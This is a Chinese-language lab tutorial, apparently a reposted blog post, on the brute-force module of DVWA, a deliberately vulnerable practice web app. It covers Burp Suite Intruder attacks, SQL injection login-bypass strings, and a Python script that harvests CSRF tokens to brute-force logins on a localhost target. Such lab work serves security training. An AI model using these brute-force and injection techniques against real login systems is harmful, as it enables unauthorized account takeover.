DVWA——Brute Force(暴力破解)


DVWA簡介:

DVWA(Damn Vulnerable Web App)是一個基於PHP/MySql搭建的Web應用程序,旨在為安全專業人員測試自己的專業技能和工具提供合法的 環境,幫助Web開發者更好的理解Web應用安全防范的過程。
DVWA一共包含十個模塊分別是:
1.Bruce Force //暴力破解
2.Command Injection //命令注入
3.CSRF //跨站請求偽造
4.File Inclusion //文件包含
5.File Upload //文件上傳漏洞
6.Insecure CAPTCHA //不安全的驗證
7.SQL Injection //sql注入
8.SQL Injection(Blind) //sql注入(盲注)
9.XSS(Reflected) //反射型XSS
10.XSS(Stored) //存儲型XSS
同時每個模塊的代碼都有4種安全等級:Low、Medium、High、Impossible。通過從低難度到高難度的測試並參考代碼變化可幫助學習者更快的理解漏洞的原理。
 

這一節介紹的就是第一個模塊:暴力破解

這里指的是黑客利用字典密碼,使用窮舉法猜解出用戶口令。

DVWA分為四個等級:分為 low、Medium、high、Impossible

 

 

low級別:

 

 我們通過觀看源代碼發現,只是驗證了參數Login是否被設置,並沒有任何的防爆破機制,且對參數username、password沒有做任何過濾,存在明顯的sql注入漏洞。

這類情況我們有兩種方法

方法一:使用burpsuite抓包爆破

先隨便輸入一個用戶名密碼,然后進行抓包。

 

 

 

 發送到爆破模塊,然后清除全部變量,再對username和password添加變量進行暴力破解,並設置爆破類型。

爆破類型分四種:Sniper(狙擊手)、Battering ram(攻城錘)、Pitchfork(草叉模式)、Cluster bomb(集束炸彈)。

這里我們使用的是Cluster bomb,因為這樣我們才能同時爆破出用戶名和密碼來。

 

 

 

 

 

 然后對這兩個變量載入字典(字典可以自己百度搜索自己下載),再設置線程。最后點擊Start attack進行爆破(找不到Start attack按鍵的可以去Intruder菜單下找)

 

 

 

 

 

 我們發現這個返回的長度和其他的不一樣,那么我們推測它就是正確的密碼

 

方法二:手工注入

用戶名:admin‘# 或者 admin ' or '1'='1 

密碼:隨意

 

Medium級別:

可以在這個位置觀察源碼

 

 

 通過觀察源碼發現,Medium級別的代碼主要增加了mysql_real_escape_string函數,除了寬字節注入外,可以抵擋其他的不能sql注入。

但是還是沒有加入有效的防爆破機制,所以還是可以用上面的第一種方法使用burp爆破這里就不再贅述了。

 

High級別:

 

根據源碼可以知道,這個級別對爆破攻擊有一定的防護作用,但是也有疏忽的地方。

這個級別要校驗token,每次都需要更新token。使用mysqli_real_escape_string(str)函數用戶名的特殊符號(\x00,\n,\r,\,‘,“,\x1a)(ascii碼0,換行,回車,回退)進行轉義,

而且完全的抵抗了SQL的注入。

 

方法一:使用burp

 

前面操作和low一樣,把抓的包發送到intruder,我們選中我們需要攻擊的目標:

 

password 為參數1,讓它使用字典。(這里就不用我那個大字典了,,太難查)

 

 

 

 這個user_token就不是單純的使用字典了,而是需要從我們的頁面中獲取。(照我圖上這么做就好了)

 一定要設置跟隨重定向,方法如下:options->redirection設置為always

 

 

 

 把user_token設為參數2,最后點擊 Start attack:

 

 

 

 

發現我們的值就出來了。。

 

 

 

方法二:python腳本

代碼如下:

#! /usr/bin/env/python
#-*-coding:utf-8-*-

import requests
from bs4 import BeautifulSoup

#字典
payloads = [
    'administrator',
    'admin',
    'password',
    'passwd',
    '123456',
    '123'
]

url = """http://localhost/dvwa/vulnerabilities/brute/?username={0}&password={1}&Login=Login&user_token={2}#"""

cookies = {
    'security':'high',
    'PHPSESSID':'cd1fggfc0bi84c3lh7kpsh98g2',
    'mask':'123'
}

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
}

def attack(payloads,url):
    #先要獲得user_token
    source = 'http://localhost/dvwa/vulnerabilities/brute/index.php#'
    index = 0
    web_data = requests.get(source,headers = headers,cookies=cookies)#請求必須帶上cookie,因為dvwa需要登陸
    soup = BeautifulSoup(web_data.text, 'lxml')
    user_token = soup.select('input[name="user_token"]')[0]['value']
    #從字典枚舉
    for payload1 in payloads:
        for payload2 in payloads:
            target = url.format(payload1,payload2,user_token)
            print u'當前請求:'+target
            web_data = requests.get(target,headers = headers,cookies=cookies)
            soup = BeautifulSoup(web_data.text,'lxml')
            user_token = soup.select('input[name="user_token"]')[0]['value']
            feature = soup.find('pre')
            try:
                if feature.get_text()=='Username and/or password incorrect.':#錯誤的密碼或者用戶名就會頁面會出現此語句,這也是我們需要檢索的
                    print u'錯誤'
            except:
                print u'可能得到結果:'
                print 'username:'+payload1+'\n'+'password:'+payload2
                exit(u'結束')

if __name__ == '__main__':
    attack(payloads,url)

 

 

 

 

Impossible級別:

Impossible級別的代碼加入了可靠的防爆破機制,當檢測到頻繁的錯誤登錄后,系統會將賬戶鎖定,爆破也就無法繼續;
同時采用了更為安全的PDO(PHP Data Object)機制防御sql注入,這是因為不能使用PDO擴展本身執行任何數據庫操作,而sql注入的關鍵就是通過破壞sql語句結構執行惡意的sql命令。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM